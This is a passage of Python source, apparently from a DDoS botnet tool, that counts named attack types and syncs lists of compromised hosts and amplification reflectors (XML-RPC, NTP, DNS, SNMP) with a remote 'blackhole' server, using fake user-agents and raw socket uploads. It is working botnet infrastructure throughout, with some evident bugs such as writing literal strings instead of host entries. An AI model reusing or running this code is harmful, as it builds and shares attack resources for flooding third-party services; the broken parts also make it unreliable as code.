  1838. self.total_ufoack = self.total_ufoack + 1 # add new ufoack attack to session stats
  1839. data["ufoack"] = aufoack
  1840. stats_json_file = open(self.mothership_stats_file, "w+")
  1841. stats_json_file.write(json.dumps(data))
  1842. stats_json_file.close()
  1843. def update_uforst_stats(self):
  1844. stats_json_file = open(self.mothership_stats_file, "r")
  1845. data = json.load(stats_json_file)
  1846. stats_json_file.close()
  1847. auforst = data["uforst"]
  1848. auforst = str(int(auforst) + 1) # add new uforst attack to recorded stats
  1849. self.total_uforst = self.total_uforst + 1 # add new uforst attack to session stats
  1850. data["uforst"] = auforst
  1851. stats_json_file = open(self.mothership_stats_file, "w+")
  1852. stats_json_file.write(json.dumps(data))
  1853. stats_json_file.close()
  1854. def update_droper_stats(self):
  1855. stats_json_file = open(self.mothership_stats_file, "r")
  1856. data = json.load(stats_json_file)
  1857. stats_json_file.close()
  1858. adroper = data["droper"]
  1859. adroper = str(int(adroper) + 1) # add new droper attack to recorded stats
  1860. self.total_droper = self.total_droper + 1 # add new droper attack to session stats
  1861. data["droper"] = adroper
  1862. stats_json_file = open(self.mothership_stats_file, "w+")
  1863. stats_json_file.write(json.dumps(data))
  1864. stats_json_file.close()
  1865. def update_overlap_stats(self):
  1866. stats_json_file = open(self.mothership_stats_file, "r")
  1867. data = json.load(stats_json_file)
  1868. stats_json_file.close()
  1869. aoverlap = data["overlap"]
  1870. aoverlap = str(int(aoverlap) + 1) # add new overlap attack to recorded stats
  1871. self.total_overlap = self.total_overlap + 1 # add new overlap attack to session stats
  1872. data["overlap"] = aoverlap
  1873. stats_json_file = open(self.mothership_stats_file, "w+")
  1874. stats_json_file.write(json.dumps(data))
  1875. stats_json_file.close()
  1876. def update_pinger_stats(self):
  1877. stats_json_file = open(self.mothership_stats_file, "r")
  1878. data = json.load(stats_json_file)
  1879. stats_json_file.close()
  1880. apinger = data["pinger"]
  1881. apinger = str(int(apinger) + 1) # add new pinger attack to recorded stats
  1882. self.total_pinger = self.total_pinger + 1 # add new pinger attack to session stats
  1883. data["pinger"] = apinger
  1884. stats_json_file = open(self.mothership_stats_file, "w+")
  1885. stats_json_file.write(json.dumps(data))
  1886. stats_json_file.close()
  1887. def update_ufoudp_stats(self):
  1888. stats_json_file = open(self.mothership_stats_file, "r")
  1889. data = json.load(stats_json_file)
  1890. stats_json_file.close()
  1891. aufoudp = data["ufoudp"]
  1892. aufoudp = str(int(aufoudp) + 1) # add new ufoudp attack to recorded stats
  1893. self.total_ufoudp = self.total_ufoudp + 1 # add new ufoudp attack to session stats
  1894. data["ufoudp"] = aufoudp
  1895. stats_json_file = open(self.mothership_stats_file, "w+")
  1896. stats_json_file.write(json.dumps(data))
  1897. stats_json_file.close()
  1898. def update_nuke_stats(self):
  1899. stats_json_file = open(self.mothership_stats_file, "r")
  1900. data = json.load(stats_json_file)
  1901. stats_json_file.close()
  1902. anuke = data["nuke"]
  1903. anuke = str(int(anuke) + 1) # add new nuke attack to recorded stats
  1904. self.total_nuke = self.total_nuke + 1 # add new nuke attack to session stats
  1905. data["nuke"] = anuke
  1906. stats_json_file = open(self.mothership_stats_file, "w+")
  1907. stats_json_file.write(json.dumps(data))
  1908. stats_json_file.close()
  1909. def update_tachyon_stats(self):
  1910. stats_json_file = open(self.mothership_stats_file, "r")
  1911. data = json.load(stats_json_file)
  1912. stats_json_file.close()
  1913. atachyon = data["tachyon"]
  1914. atachyon = str(int(atachyon) + 1) # add new tachyon attack to recorded stats
  1915. self.total_tachyon = self.total_tachyon + 1 # add new tachyon attack to session stats
  1916. data["tachyon"] = atachyon
  1917. stats_json_file = open(self.mothership_stats_file, "w+")
  1918. stats_json_file.write(json.dumps(data))
  1919. stats_json_file.close()
  1920. def update_monlist_stats(self):
  1921. stats_json_file = open(self.mothership_stats_file, "r")
  1922. data = json.load(stats_json_file)
  1923. stats_json_file.close()
  1924. amonlist = data["monlist"]
  1925. amonlist = str(int(amonlist) + 1) # add new monlist attack to recorded stats
  1926. self.total_monlist = self.total_monlist + 1 # add new monlist attack to session stats
  1927. data["monlist"] = amonlist
  1928. stats_json_file = open(self.mothership_stats_file, "w+")
  1929. stats_json_file.write(json.dumps(data))
  1930. stats_json_file.close()
  1931. def update_sniper_stats(self):
  1932. stats_json_file = open(self.mothership_stats_file, "r")
  1933. data = json.load(stats_json_file)
  1934. stats_json_file.close()
  1935. asniper = data["sniper"]
  1936. asniper = str(int(asniper) + 1) # add new sniper attack to recorded stats
  1937. self.total_sniper = self.total_sniper + 1 # add new sniper attack to session stats
  1938. data["sniper"] = asniper
  1939. stats_json_file = open(self.mothership_stats_file, "w+")
  1940. stats_json_file.write(json.dumps(data))
  1941. stats_json_file.close()
  1942. def uploading_list(self):
  1943. from io import BytesIO
  1944. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  1945. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  1946. abductions = "botnet/abductions.txt.gz"
  1947. troops = "botnet/troops.txt.gz"
  1948. robots = "botnet/robots.txt.gz"
  1949. drones = "botnet/drones.txt.gz"
  1950. reflectors = "botnet/reflectors.txt.gz"
  1951. crystals = "botnet/crystals.txt.gz"
  1952. warps = "botnet/warps.txt.gz"
  1953. bosons = "botnet/bosons.txt.gz"
  1954. if self.options.timeout: # set timeout
  1955. try:
  1956. timeout = int(self.options.timeout)
  1957. except:
  1958. timeout = 5
  1959. else:
  1960. timeout = 5
  1961. if timeout < 1:
  1962. timeout = 5
  1963. try:
  1964. print("[AI] Checking integrity of [Blackhole]: "+self.blackhole+"\n")
  1965. if self.options.forcessl:
  1966. if self.options.proxy: # set proxy
  1967. self.proxy_transport(options.proxy)
  1968. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  1969. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1970. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  1971. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1972. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  1973. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1974. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  1975. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1976. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  1977. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1978. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  1979. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1980. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  1981. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1982. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/bosons.txt.gz', None, headers)
  1983. bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1984. else:
  1985. if self.options.proxy: # set proxy
  1986. self.proxy_transport(options.proxy)
  1987. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  1988. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1989. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  1990. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1991. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  1992. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1993. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  1994. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1995. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  1996. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1997. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  1998. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1999. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  2000. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2001. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/bosons.txt.gz', None, headers)
  2002. bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2003. if abductions_reply == "" and troops_reply == "" and robots_reply == "" and drones_reply == "" and reflectors_reply == "" and crystals_reply == "" and warps_reply == "" and bosons_reply == "":
  2004. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]")
  2005. print('-'*12 + '\n')
  2006. print("[Error] [AI] Unable to upload list of [Zombies] to this [Blackhole] [Server] -> [Exiting!]\n")
  2007. return
  2008. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX READY!] ;-)")
  2009. f_in_abductions = gzip.open(BytesIO(abductions_reply), 'rb')
  2010. f_out_abductions = open('botnet/abductions.txt', 'wb')
  2011. f_out_abductions.write(f_in_abductions.read())
  2012. f_in_abductions.close()
  2013. f_out_abductions.close()
  2014. num_zombies = 0
  2015. with open('botnet/abductions.txt') as f:
  2016. for _ in f:
  2017. num_zombies = num_zombies + 1
  2018. print("\n[Info] [Blackhole] Total [Zombies]: "+ str(num_zombies))
  2019. f_in_robots = gzip.open(BytesIO(robots_reply), 'rb')
  2020. f_out_robots = open('botnet/robots.txt', 'wb')
  2021. f_out_robots.write(f_in_robots.read())
  2022. f_in_robots.close()
  2023. f_out_robots.close()
  2024. num_robots = 0
  2025. with open('botnet/robots.txt') as f:
  2026. for _ in f:
  2027. num_robots = num_robots + 1
  2028. print("[Info] [Blackhole] Total [Droids] : "+ str(num_robots))
  2029. f_in_troops = gzip.open(BytesIO(troops_reply), 'rb')
  2030. f_out_troops = open('botnet/troops.txt', 'wb')
  2031. f_out_troops.write(f_in_troops.read())
  2032. f_in_troops.close()
  2033. f_out_troops.close()
  2034. num_aliens = 0
  2035. with open('botnet/aliens.txt') as f:
  2036. for _ in f:
  2037. num_aliens = num_aliens + 1
  2038. print("[Info] [Blackhole] Total [Aliens] : "+ str(num_aliens))
  2039. f_in_drones = gzip.open(BytesIO(drones_reply), 'rb')
  2040. f_out_drones = open('botnet/drones.txt', 'wb')
  2041. f_out_drones.write(f_in_drones.read())
  2042. f_in_drones.close()
  2043. f_out_drones.close()
  2044. num_drones = 0
  2045. with open('botnet/drones.txt') as f:
  2046. for _ in f:
  2047. num_drones = num_drones + 1
  2048. print("[Info] [Blackhole] Total [UCAVs] : "+ str(num_drones))
  2049. f_in_reflectors = gzip.open(BytesIO(reflectors_reply), 'rb')
  2050. f_out_reflectors = open('botnet/reflectors.txt', 'wb')
  2051. f_out_reflectors.write(f_in_reflectors.read())
  2052. f_in_reflectors.close()
  2053. f_out_reflectors.close()
  2054. num_reflectors = 0
  2055. with open('botnet/reflectors.txt') as f:
  2056. for _ in f:
  2057. num_reflectors = num_reflectors + 1
  2058. print("[Info] [Blackhole] Total [X-RPCs] : "+ str(num_reflectors))
  2059. f_in_crystals = gzip.open(BytesIO(crystals_reply), 'rb')
  2060. f_out_crystals = open('botnet/crystals.txt', 'wb')
  2061. f_out_crystals.write(f_in_crystals.read())
  2062. f_in_crystals.close()
  2063. f_out_crystals.close()
  2064. num_crystals = 0
  2065. with open('botnet/crystals.txt') as f:
  2066. for _ in f:
  2067. num_crystals = num_crystals + 1
  2068. print("[Info] [Blackhole] Total [NTPs] : "+ str(num_crystals))
  2069. f_in_warps = gzip.open(BytesIO(warps_reply), 'rb')
  2070. f_out_warps = open('botnet/warps.txt', 'wb')
  2071. f_out_warps.write(f_in_warps.read())
  2072. f_in_warps.close()
  2073. f_out_warps.close()
  2074. num_warps = 0
  2075. with open('botnet/warps.txt') as f:
  2076. for _ in f:
  2077. num_warps = num_warps + 1
  2078. print("[Info] [Blackhole] Total [DNSs] : "+ str(num_warps))
  2079. f_in_bosons = gzip.open(BytesIO(bosons_reply), 'rb')
  2080. f_out_bosons = open('botnet/bosons.txt', 'wb')
  2081. f_out_bosons.write(f_in_bosons.read())
  2082. f_in_bosons.close()
  2083. f_out_bosons.close()
  2084. num_bosons = 0
  2085. with open('botnet/bosons.txt') as f:
  2086. for _ in f:
  2087. num_bosons = num_bosons + 1
  2088. print("[Info] [Blackhole] Total [SNMPs] : "+ str(num_bosons))
  2089. print('-'*12 + '\n')
  2090. if not self.options.forceyes:
  2091. update_reply = input("[AI] Do you want to merge ONLY the new [Zombies] into [Blackhole]? (Y/n)")
  2092. print('-'*25)
  2093. else:
  2094. update_reply = "Y"
  2095. if update_reply == "n" or update_reply == "N":
  2096. os.remove('botnet/abductions.txt') # remove abductions file
  2097. os.remove('botnet/troops.txt') # remove troops file
  2098. os.remove('botnet/robots.txt') # remove robots file
  2099. os.remove('botnet/drones.txt') # remove drones file
  2100. os.remove('botnet/reflectors.txt') # remove reflectors file
  2101. os.remove('botnet/crystals.txt') # remove crystals file
  2102. os.remove('botnet/warps.txt') # remove warps file
  2103. os.remove('botnet/bosons.txt') # remove bosons file
  2104. print("\n[Info] [AI] [Control] Aborting uploading process and cleaning temporal files... -> [Exiting!]\n")
  2105. return
  2106. else:
  2107. print("\n[AI] Checking integrity of your list of [Zombies] -> [OK!]\n") # only upload valid zombies
  2108. print('='*35)
  2109. zombies = self.extract_zombies()
  2110. if not zombies:
  2111. return
  2112. test = self.testing(zombies)
  2113. zombies_community = []
  2114. zombies_added = 0
  2115. f = open('botnet/abductions.txt')
  2116. abductions = f.readlines()
  2117. abductions = [abduction.strip() for abduction in abductions]
  2118. f.close()
  2119. fz = open(self.zombies_file)
  2120. zombies = fz.readlines()
  2121. zombies = [zombie.strip() for zombie in zombies]
  2122. fz.close()
  2123. for zombie in zombies:
  2124. if zombie not in abductions:
  2125. zombies_community.append(zombie)
  2126. zombies_added = zombies_added + 1
  2127. else:
  2128. pass
  2129. print("[Info] [Blackhole] Added [Zombies]: " + str(zombies_added))
  2130. aliens = self.extract_aliens()
  2131. if not aliens:
  2132. return
  2133. aliens_community = []
  2134. aliens_added = 0
  2135. f = open('botnet/troops.txt')
  2136. troops = f.readlines()
  2137. troops = [troop.strip() for troop in troops]
  2138. f.close()
  2139. fz = open(self.aliens_file)
  2140. aliens = fz.readlines()
  2141. aliens = [alien.strip() for alien in aliens]
  2142. fz.close()
  2143. for alien in aliens:
  2144. if alien not in troops:
  2145. aliens_community.append(alien)
  2146. aliens_added = aliens_added + 1
  2147. else:
  2148. pass
  2149. print("[Info] [Blackhole] Added [Aliens] : " + str(aliens_added))
  2150. droids = self.extract_droids()
  2151. if not droids:
  2152. return
  2153. droids_community = []
  2154. droids_added = 0
  2155. f = open('botnet/robots.txt')
  2156. robots = f.readlines()
  2157. robots = [robot.strip() for robot in robots]
  2158. f.close()
  2159. fz = open(self.droids_file)
  2160. droids = fz.readlines()
  2161. droids = [droid.strip() for droid in droids]
  2162. fz.close()
  2163. for droid in droids:
  2164. if droid not in robots:
  2165. droids_community.append(droid)
  2166. droids_added = droids_added + 1
  2167. else:
  2168. pass
  2169. print("[Info] [Blackhole] Added [Droids] : " + str(droids_added))
  2170. ucavs = self.extract_ucavs()
  2171. if not ucavs:
  2172. return
  2173. ucavs_community = []
  2174. ucavs_added = 0
  2175. f = open('botnet/drones.txt')
  2176. drones = f.readlines()
  2177. drones = [drone.strip() for drone in drones]
  2178. f.close()
  2179. fz = open(self.ucavs_file)
  2180. ucavs = fz.readlines()
  2181. ucavs = [ucav.strip() for ucav in ucavs]
  2182. fz.close()
  2183. for ucav in ucavs:
  2184. if ucav not in drones:
  2185. ucavs_community.append(ucav)
  2186. ucavs_added = ucavs_added + 1
  2187. else:
  2188. pass
  2189. print("[Info] [Blackhole] Added [UCAVs] : " + str(ucavs_added))
  2190. rpcs = self.extract_rpcs()
  2191. if not rpcs:
  2192. return
  2193. rpcs_community = []
  2194. rpcs_added = 0
  2195. f = open('botnet/reflectors.txt')
  2196. reflectors = f.readlines()
  2197. reflectors = [reflector.strip() for reflector in reflectors]
  2198. f.close()
  2199. fz = open(self.rpcs_file)
  2200. rpcs = fz.readlines()
  2201. rpcs = [rpc.strip() for rpc in rpcs]
  2202. fz.close()
  2203. for rpc in rpcs:
  2204. if rpc not in reflectors:
  2205. rpcs_community.append(rpc)
  2206. rpcs_added = rpcs_added + 1
  2207. else:
  2208. pass
  2209. print("[Info] [Blackhole] Added [X-RPCs] : " + str(rpcs_added))
  2210. ntps = self.extract_ntps()
  2211. if not ntps:
  2212. return
  2213. ntps_community = []
  2214. ntps_added = 0
  2215. f = open('botnet/crystals.txt')
  2216. crystals = f.readlines()
  2217. crystals = [crystal.strip() for crystal in crystals]
  2218. f.close()
  2219. fz = open(self.ntps_file)
  2220. ntps = fz.readlines()
  2221. ntps = [ntp.strip() for ntp in ntps]
  2222. fz.close()
  2223. for ntp in ntps:
  2224. if ntp not in crystals:
  2225. ntps_community.append(ntp)
  2226. ntps_added = ntps_added + 1
  2227. else:
  2228. pass
  2229. print("[Info] [Blackhole] Added [NTPs] : " + str(ntps_added))
  2230. dnss = self.extract_dnss()
  2231. if not dnss:
  2232. return
  2233. dnss_community = []
  2234. dnss_added = 0
  2235. f = open('botnet/warps.txt')
  2236. warps = f.readlines()
  2237. warps = [warp.strip() for warp in warps]
  2238. f.close()
  2239. fz = open(self.dnss_file)
  2240. dnss = fz.readlines()
  2241. dnss = [dns.strip() for dns in dnss]
  2242. fz.close()
  2243. for dns in dnss:
  2244. if dns not in warps:
  2245. dnss_community.append(dns)
  2246. dnss_added = dnss_added + 1
  2247. else:
  2248. pass
  2249. print("[Info] [Blackhole] Added [DNSs] : " + str(dnss_added))
  2250. snmps = self.extract_snmps()
  2251. if not snmps:
  2252. return
  2253. snmps_community = []
  2254. snmps_added = 0
  2255. f = open('botnet/bosons.txt')
  2256. bosons = f.readlines()
  2257. bosons = [boson.strip() for boson in bosons]
  2258. f.close()
  2259. fz = open(self.snmps_file)
  2260. snmps = fz.readlines()
  2261. snmps = [snmp.strip() for snmp in snmps]
  2262. fz.close()
  2263. for snmp in snmps:
  2264. if snmp not in crystals:
  2265. snmps_community.append(snmp)
  2266. snmps_added = snmps_added + 1
  2267. else:
  2268. pass
  2269. print("[Info] [Blackhole] Added [SNMPs] : " + str(snmps_added))
  2270. print('-'*12 + '\n')
  2271. if zombies_added == 0 and aliens_added == 0 and droids_added == 0 and ucavs_added == 0 and rpcs_added == 0 and ntps_added == 0 and dnss_added == 0 and snmps_added == 0: # not any zombie
  2272. os.remove('botnet/abductions.txt') # remove abductions file
  2273. os.remove('botnet/troops.txt') # remove troops file
  2274. os.remove('botnet/robots.txt') # remove robots file
  2275. os.remove('botnet/drones.txt') # remove ucavs file
  2276. os.remove('botnet/reflectors.txt') # remove rpcs file
  2277. os.remove('botnet/crystals.txt') # remove crystals file
  2278. os.remove('botnet/warps.txt') # remove warps file
  2279. os.remove('botnet/bosons.txt') # remove snmps file
  2280. print("[Info] [AI] Try to search for new [Zombies]. These are already in this [Blackhole] -> [Exiting!]\n")
  2281. return
  2282. else:
  2283. print("[Info] [AI] Trying to upload new [Zombies] to [Blackhole]...\n")
  2284. fc = gzip.open('botnet/community_zombies.txt.gz', 'wb')
  2285. for zombie in zombies_community:
  2286. fc.write(b'zombie.strip()')
  2287. fc.close()
  2288. os.remove('botnet/abductions.txt') # remove abductions file
  2289. fc = gzip.open('botnet/community_aliens.txt.gz', 'wb')
  2290. for alien in aliens_community:
  2291. fc.write(b'alien.strip()')
  2292. fc.close()
  2293. os.remove('botnet/troops.txt') # remove troops file
  2294. fc = gzip.open('botnet/community_droids.txt.gz', 'wb')
  2295. for droid in droids_community:
  2296. fc.write(b'droid.strip()')
  2297. fc.close()
  2298. os.remove('botnet/robots.txt') # remove robots file
  2299. fc = gzip.open('botnet/community_ucavs.txt.gz', 'wb')
  2300. for ucav in ucavs_community:
  2301. fc.write(b'ucav.strip()')
  2302. fc.close()
  2303. os.remove('botnet/drones.txt') # remove drones file
  2304. fc = gzip.open('botnet/community_rpcs.txt.gz', 'wb')
  2305. for rpc in rpcs_community:
  2306. fc.write(b'rpc.strip()')
  2307. fc.close()
  2308. os.remove('botnet/reflectors.txt') # remove reflectors file
  2309. fc = gzip.open('botnet/community_ntps.txt.gz', 'wb')
  2310. for ntp in ntps_community:
  2311. fc.write(b'ntp.strip()')
  2312. fc.close()
  2313. os.remove('botnet/crystals.txt') # remove crystals file
  2314. fc = gzip.open('botnet/community_dnss.txt.gz', 'wb')
  2315. for dns in dnss_community:
  2316. fc.write(b'dns.strip()')
  2317. fc.close()
  2318. os.remove('botnet/warps.txt') # remove warps file
  2319. fc = gzip.open('botnet/community_snmps.txt.gz', 'wb')
  2320. for snmp in snmps_community:
  2321. fc.write(b'snmp.strip()')
  2322. fc.close()
  2323. os.remove('botnet/bosons.txt') # remove bosons file
  2324. try: # open a socket and send data to the blackhole reciever port
  2325. host = self.blackhole
  2326. cport = 9991
  2327. mport = 9990
  2328. try:
  2329. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data
  2330. cs.connect((host, cport))
  2331. cs.send(("SEND " + 'community_zombies.txt.gz').encode())
  2332. cs.close()
  2333. f = open('botnet/community_zombies.txt.gz', "rb")
  2334. data = f.read()
  2335. f.close()
  2336. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2337. ms.connect((host, mport))
  2338. ms.send(data)
  2339. ms.close()
  2340. os.remove('botnet/community_zombies.txt.gz') # remove local zombies .gz file after transfer
  2341. time.sleep(1)
  2342. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2343. cs.connect((host, cport))
  2344. cs.send(("SEND " + 'community_aliens.txt.gz').encode())
  2345. cs.close()
  2346. f = open('botnet/community_aliens.txt.gz', "rb")
  2347. data = f.read()
  2348. f.close()
  2349. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2350. ms.connect((host, mport))
  2351. ms.send(data)
  2352. ms.close()
  2353. os.remove('botnet/community_aliens.txt.gz') # remove local aliens .gz file after transfer
  2354. time.sleep(1)
  2355. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2356. cs.connect((host, cport))
  2357. cs.send(("SEND " + 'community_robots.txt.gz').encode())
  2358. cs.close()
  2359. f = open('botnet/community_droids.txt.gz', "rb")
  2360. data = f.read()
  2361. f.close()
  2362. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2363. ms.connect((host, mport))
  2364. ms.send(data)
  2365. ms.close()
  2366. os.remove('botnet/community_droids.txt.gz') # remove local droids .gz file after transfer
  2367. time.sleep(1)
  2368. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2369. cs.connect((host, cport))
  2370. cs.send(("SEND " + 'community_ucavs.txt.gz').encode())
  2371. cs.close()
  2372. f = open('botnet/community_ucavs.txt.gz', "rb")
  2373. data = f.read()
  2374. f.close()
  2375. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2376. ms.connect((host, mport))
  2377. ms.send(data)
  2378. ms.close()
  2379. os.remove('botnet/community_ucavs.txt.gz') # remove local ucavs .gz file after transfer
  2380. time.sleep(1)
  2381. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  2382. cs.connect((host, cport))
  2383. cs.send(("SEND " + 'community_rpcs.txt.gz').encode())
  2384. cs.close()
  2385. f = open('botnet/community_rpcs.txt.gz', "rb")
  2386. data = f.read()
  2387. f.close()
  2388. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2389. ms.connect((host, mport))
  2390. ms.send(data)
  2391. ms.close()
  2392. os.remove('botnet/community_rpcs.txt.gz') # remove local rpcs .gz file after transfer
  2393. time.sleep(1)
  2394. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  2395. cs.connect((host, cport))
  2396. cs.send(("SEND " + 'community_ntps.txt.gz').encode())
  2397. cs.close()
  2398. f = open('botnet/community_ntps.txt.gz', "rb")
  2399. data = f.read()
  2400. f.close()
  2401. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2402. ms.connect((host, mport))
  2403. ms.send(data)
  2404. ms.close()
  2405. os.remove('botnet/community_ntps.txt.gz') # remove local ntps .gz file after transfer
  2406. time.sleep(1)
  2407. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  2408. cs.connect((host, cport))
  2409. cs.send(("SEND " + 'community_dnss.txt.gz').encode())
  2410. cs.close()
  2411. f = open('botnet/community_dnss.txt.gz', "rb")
  2412. data = f.read()
  2413. f.close()
  2414. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2415. ms.connect((host, mport))
  2416. ms.send(data)
  2417. ms.close()
  2418. os.remove('botnet/community_dnss.txt.gz') # remove local dnss .gz file after transfer
  2419. time.sleep(1)
  2420. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  2421. cs.connect((host, cport))
  2422. cs.send(("SEND " + 'community_snmps.txt.gz').encode())
  2423. cs.close()
  2424. f = open('botnet/community_snmps.txt.gz', "rb")
  2425. data = f.read()
  2426. f.close()
  2427. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2428. ms.connect((host, mport))
  2429. ms.send(data)
  2430. ms.close()
  2431. os.remove('botnet/community_snmps.txt.gz') # remove local snmps .gz file after transfer
  2432. time.sleep(2) # sleep a bit more
  2433. print('-'*12 + '\n')
  2434. print("[Info] [AI] Transfer -> [DONE!]\n")
  2435. except Exception as e:
  2436. print(str(e) + "\n")
  2437. except:
  2438. print('-'*12 + '\n')
  2439. print("[Error] [AI] Connecting sockets to [Blackhole] -> [Aborting!]\n")
  2440. return
  2441. except Exception as e:
  2442. print(str(e) + "\n")
  2443. print('-'*12 + '\n')
  2444. print("[Error] [AI] Unable to upload list of [Zombies] to this [Blackhole] -> [Exiting!]\n")
  2445. return
  2446. def update_gui_data(self):
  2447. # download all GUI stream data
  2448. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2449. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2450. if self.options.proxy: # set proxy
  2451. self.proxy_transport(self.options.proxy)
  2452. if self.options.timeout: # set timeout
  2453. try:
  2454. timeout = int(self.options.timeout)
  2455. except:
  2456. timeout = 5
  2457. else:
  2458. timeout = 5
  2459. if timeout < 1:
  2460. timeout = 5
  2461. if self.options.forcessl:
  2462. news = urllib.request.Request('https://'+self.blackhole+'/ufonet/news.txt', None, headers)
  2463. news_reply = urllib.request.urlopen(news, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2464. tv = urllib.request.Request('https://'+self.blackhole+'/ufonet/tv.txt', None, headers)
  2465. tv_reply = urllib.request.urlopen(tv, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2466. missions = urllib.request.Request('https://'+self.blackhole+'/ufonet/missions.txt', None, headers)
  2467. missions_reply = urllib.request.urlopen(missions, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2468. board = urllib.request.Request('https://'+self.blackhole+'/ufonet/board.txt', None, headers)
  2469. board_reply = urllib.request.urlopen(board, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2470. grid = urllib.request.Request('https://'+self.blackhole+'/ufonet/grid.txt', None, headers)
  2471. grid_reply = urllib.request.urlopen(grid, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2472. wargames = urllib.request.Request('https://'+self.blackhole+'/ufonet/wargames.txt', None, headers)
  2473. wargames_reply = urllib.request.urlopen(wargames, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2474. links = urllib.request.Request('https://'+self.blackhole+'/ufonet/links.txt', None, headers)
  2475. links_reply = urllib.request.urlopen(links, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2476. streams = urllib.request.Request('https://'+self.blackhole+'/ufonet/streams.txt', None, headers)
  2477. streams_reply = urllib.request.urlopen(streams, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2478. globalnet = urllib.request.Request('https://'+self.blackhole+'/ufonet/globalnet.txt', None, headers)
  2479. globalnet_reply = urllib.request.urlopen(globalnet, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2480. nodes = urllib.request.Request('https://'+self.blackhole+'/ufonet/nodes.txt', None, headers)
  2481. nodes_reply = urllib.request.urlopen(nodes, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2482. else:
  2483. news = urllib.request.Request('http://'+self.blackhole+'/ufonet/news.txt', None, headers)
  2484. news_reply = urllib.request.urlopen(news, context=self.ctx).read().decode('utf-8')
  2485. tv = urllib.request.Request('http://'+self.blackhole+'/ufonet/tv.txt', None, headers)
  2486. tv_reply = urllib.request.urlopen(tv, context=self.ctx).read().decode('utf-8')
  2487. missions = urllib.request.Request('http://'+self.blackhole+'/ufonet/missions.txt', None, headers)
  2488. missions_reply = urllib.request.urlopen(missions, context=self.ctx).read().decode('utf-8')
  2489. board = urllib.request.Request('http://'+self.blackhole+'/ufonet/board.txt', None, headers)
  2490. board_reply = urllib.request.urlopen(board, context=self.ctx).read().decode('utf-8')
  2491. grid = urllib.request.Request('http://'+self.blackhole+'/ufonet/grid.txt', None, headers)
  2492. grid_reply = urllib.request.urlopen(grid, context=self.ctx).read().decode('utf-8')
  2493. wargames = urllib.request.Request('http://'+self.blackhole+'/ufonet/wargames.txt', None, headers)
